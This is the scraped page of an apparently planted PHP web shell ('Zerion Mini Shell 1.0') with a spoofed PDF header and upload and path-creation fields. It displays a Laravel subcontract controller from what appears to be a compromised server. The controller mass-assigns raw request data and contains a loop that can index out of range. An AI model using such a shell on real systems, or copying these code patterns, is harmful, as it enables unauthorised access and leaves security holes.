%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/ugotscom/kma/app/Http/Controllers/
Upload File :
Create Path :
Current File : /home/ugotscom/kma/app/Http/Controllers/SubcontractController.php

<?php

namespace App\Http\Controllers;

use App\Subcontract;
use App\MaintenanceAccount;
use Illuminate\Http\Request;

class SubcontractController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        //
        $users = Subcontract::get();
        return response()->json($users);
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        //
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        $subcontractor = new Subcontract;
        $subcontractor->contractor_id=$request->contractor_id;
        $subcontractor->project_id=$request->project;
        $subcontractor->project_name=$request->project_name;
        $subcontractor->description=$request->description;
        $subcontractor->contract_type=$request->contract_type;
        $subcontractor->Initial_contract=$request->Initial_contract;    
        $subcontractor->gst=$request->gst;
        $subcontractor->kfc=$request->kfc;
        $subcontractor->save();
    }

    /**
     * Display the specified resource.
     *
     * @param  \App\Subcontract  $subcontract
     * @return \Illuminate\Http\Response
     */
    public function show(Subcontract $subcontract)
    {
        //
    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param  \App\Subcontract  $subcontract
     * @return \Illuminate\Http\Response
     */
    public function edit(Subcontract $subcontract)
    {
        //
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \App\Subcontract  $subcontract
     * @return \Illuminate\Http\Response
     */
    public function update($id, Request $request)
    {
        $user = Subcontract::findOrFail($id);

        $user->update($request->all());
        //
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  \App\Subcontract  $subcontract
     * @return \Illuminate\Http\Response
     */
    public function destroy(Subcontract $subcontract)
    {
        //
    }
    public function subcontractsbyid($id)
    {
        $contracts=Subcontract::where('project_id',$id)->leftJoin('clients','clients.id','=','subcontracts.contractor_id')->select('subcontracts.*','clients.name')->get();
        return response()->json($contracts);       
    }
    public function editsubcontractsbyid($id)
    {
        $contracts=Subcontract::where('subcontracts.id',$id)->leftJoin('clients','clients.id','=','subcontracts.contractor_id')->select('subcontracts.*')->get();
        return response()->json($contracts);       
    }
    public function serviceDemand($id){
    // $counts=Subcontract::select('Initial_contract','contractor_id', Subcontract::raw('SUM(Initial_contract+gst+kfc) AS sum_a'))->groupBy('contractor_id')->get();
       // $counts2[]=MaintenanceAccount::where('project_id',59)->select('debit', Subcontract::raw('SUM(debit) AS paid'))->groupBy('client_id')->get();
      // $contracts=Subcontract::where('project_id',59)->select('contractor_id')->selectRaw("SUM(Initial_contract+kfc+gst) as total_contract")->Groupby('contractor_id')->get();
    
       // $tests=Subcontract::leftJoin('maintenance_accounts','maintenance_accounts.project_id','=','subcontracts.project_id')->get()->unique('contractor_id');
        $contracts=Subcontract::where('project_id',$id)->where('subcontracts.status',2)->leftJoin('clients','clients.id','=','subcontracts.contractor_id')->select('name','contractor_id')->selectRaw("SUM(Initial_contract+kfc+gst) as total_contract")->Groupby('contractor_id')->get();
        $contracts2=MaintenanceAccount::where('project_id',$id)->select('client_id')->selectRaw("SUM(debit) as paid")->Groupby('client_id')->get();
      //  $new[] = array("contractor_id"=>$contracts[$i]['contractor_id'],"Total_contract"=>$contracts[$i]['total_contract'], "Paid"=>$contracts2[$i]['paid']);   
      $count = count($contracts);
        
        for ($i = 0; $i < $count; $i++) {     
     
                for ($j = 0; $j < $count; $j++) {     
                     if(($contracts[$i]['contractor_id'])==($contracts2[$j]['client_id'])){
                   // echo  $contracts2[$j]['paid'];
                    $new[] = array("contractor_id"=>$contracts[$i]['contractor_id'],"contractor_name"=>$contracts[$i]['name'],"Total_contract"=>$contracts[$i]['total_contract'], "Paid"=>$contracts2[$j]['paid']);   
                     }
                }
           }
    
      
   
return  $new;
 //return  $contracts2;
      }
      public function serviceDemands($id){
        $contracts=Subcontract::where('project_id',$id)->where('subcontracts.status',2)->leftJoin('clients','clients.id','=','subcontracts.contractor_id')->select('name','contractor_id')->selectRaw("SUM(Initial_contract+kfc+gst) as total_contract")->Groupby('contractor_id')->get();
    
        $contracts2=MaintenanceAccount::where('project_id',$id)->select('client_id')->selectRaw("SUM(debit) as paid")->Groupby('client_id')->get();
        return $contracts2;

      }
      public function subcontractswon($id){
        $contracts=Subcontract::where('project_id',$id) ->where('status',2)->select('Initial_contract','kfc','gst')->get();
        return response()->json($contracts);

    }
      public function updatestatus(Request $request){
        $subcontractid=$request->subcontractid;
        $status=$request->checkstatus;
        Subcontract::where('id',$subcontractid)->update([
            'status' =>$status
        ]);
      }
    }

Zerion Mini Shell 1.0